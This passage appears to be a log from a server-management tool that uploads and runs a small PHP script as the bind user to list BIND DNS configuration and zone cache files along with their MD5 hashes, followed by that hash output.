MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:03:41: Establishing a connection
2026-04-25 18:03:41: 

PUT: /tmp/pkp730042

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:03:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp730042; rm /tmp/pkp730042'

2026-04-25 18:03:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
